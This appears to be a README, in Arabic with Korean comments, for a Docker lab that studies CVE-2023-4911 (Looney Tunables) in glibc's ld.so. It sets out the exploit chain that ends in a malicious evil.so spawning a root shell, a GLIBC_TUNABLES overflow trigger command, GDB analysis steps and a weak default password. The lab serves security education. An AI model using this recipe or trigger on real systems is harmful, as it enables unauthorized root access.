
مختبر قائم على Docker لتحليل واستغلال CVE-2023-4911 (Looney Tunables)، وهو تجاوز سعة المخزن المؤقت في glibc ld.so مما يؤدي إلى تصعيد الامتيازات المحلية. يتضمن إثبات المفهوم (PoC)، تحليل GDB، وبيئة تطوير الاستغلال.
بيئة تدريبية قائمة على Docker لتحليل ثغرة تجاوز سعة المخزن المؤقت (تصعيد الامتيازات المحلية) في المحمل الديناميكي لمكتبة GNU C (glibc) وتطوير استغلالها.
| العنصر | المحتوى |
|---|---|
| رقم CVE | CVE-2023-4911 |
| الاسم المستعار | Looney Tunables |
| الهدف الثغرة | GNU C Library (glibc) 2.34 ~ 2.38 |
| الإصدارات الضعيفة | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 وما دون |
| إصدار التصحيح | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| النوع | تجاوز سعة المخزن المؤقت في ld.so |
| التأثير | تصعيد الامتيازات المحلية (مستخدم عادي → الجذر) |
| الاكتشاف | فريق أبحاث الأمن Qualys |
يقوم المحمل الديناميكي لـ glibc (ld.so) بتحليل متغير البيئة GLIBC_TUNABLES عند تشغيل البرنامج.
عند تشغيل ملف SUID، يتم تعيين __libc_enable_secure = 1، ويدخل ld.so في مسار الكود الذي يبطل (nullify) متغير البيئة هذا.
خلال هذه العملية، يحدث تجاوز سعة المخزن المؤقت بسبب حساب طول خاطئ للإدخال بتنسيق tunable1=tunable2=value.
일반 바이너리: __libc_enable_secure = 0 → nullify 코드 미진입 → 취약점 없음
SUID 바이너리: __libc_enable_secure = 1 → nullify 코드 진입 → 버퍼 오버플로우 발생
تدفق الاستغلال:
GLIBC_TUNABLES 오버플로우
↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
↓
evil.so 로드 → constructor 자동 실행
↓
setuid(0) + execve("/bin/bash") → root shell 획득
تم تصميم هذه البيئة لتتجاوز مجرد تشغيل PoC بسيط، وتهدف إلى تحليل مبدأ عمل الثغرة مباشرة وتطوير الاستغلال.
ld.so والملف الثنائي القابل للتنفيذ معًاresearcher) إلى الجذرCVE-2023-4911/
├── Dockerfile # 취약 환경 이미지 정의 (Multi-stage 빌드)
├── run.sh # Docker 빌드/실행 관리 스크립트
├── check_environment.sh # 컨테이너 시작 시 환경 자동 검증
├── poc/
│ ├── exploit.py # 기본 PoC — crash(SIGSEGV) 확인용
│ ├── exploit_lpe.py # LPE 익스플로잇 — GDB 분석 후 완성
│ └── evil_lib/
│ ├── evil.c # root shell 실행하는 악성 공유 라이브러리
│ └── Makefile
└── test_targets/
├── test_suid.c # SUID 테스트 바이너리 소스
└── test_heap.c # 힙 할당 테스트 바이너리 소스
./run.sh build && ./run.sh run
عند بدء الحاوية، سيُطلب منك كلمة مرور sudo.
كلمة المرور: password
# SIGSEGV 발생 여부 확인
python3 /workspace/poc/exploit.py --check-only
# 직접 트리거
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# 컨테이너 내부 직접 분석
gdb -q /workspace/test_targets/test_suid
# 원격 디버깅 (gdbserver)
# 컨테이너 내부
gdbserver :1234 /workspace/test_targets/test_suid
# 로컬 호스트
gdb
(gdb) target remote localhost:1234
بعد تحليل OVERFLOW_OFFSET و TARGET_ADDR باستخدام GDB، قم بتحديث القيم في أعلى exploit_lpe.py ثم شغّله.
python3 /workspace/poc/exploit_lpe.py
# 취약 함수 위치
/workspace/glibc-source/elf/dl-tunables.c
# 주요 함수
__tunables_init() # 진입점
parse_tunables() # 오버플로우 발생 지점
tunables_strdup() # 버퍼 할당
# strace로 시스템 콜 추적
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# GDB로 __tunables_init 분석
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
يُرجى استخدام هذه البيئة لأغراض التعليم والبحث الأمني فقط.
--privileged، لذا استخدمها فقط في بيئة معزولة| الأمر | الوصف |
|---|
./run.sh build | بناء صورة Docker |
./run.sh run | تشغيل الحاوية في الوضع التفاعلي |
./run.sh analysis | تشغيل وضع التحليل |
./run.sh test | فحص سريع للثغرة |
./run.sh clean | تنظيف الصورة والحاوية |
| العنصر | المحتوى |
|---|
| الصورة الأساسية | ubuntu:jammy-20230916 (قبل التصحيح) |
| إصدار glibc | 2.35-0ubuntu3.3 (ضعيف) |
| إصدار ld.so | 2.35-0ubuntu3.3 (ضعيف) |
| حساب التحليل | researcher / password |
| كود مصدر glibc | /workspace/glibc-source (2.35) |
| المنفذ الرئيسي | 1234 (gdbserver) |
| خيارات الحاوية | --privileged, --pid=host |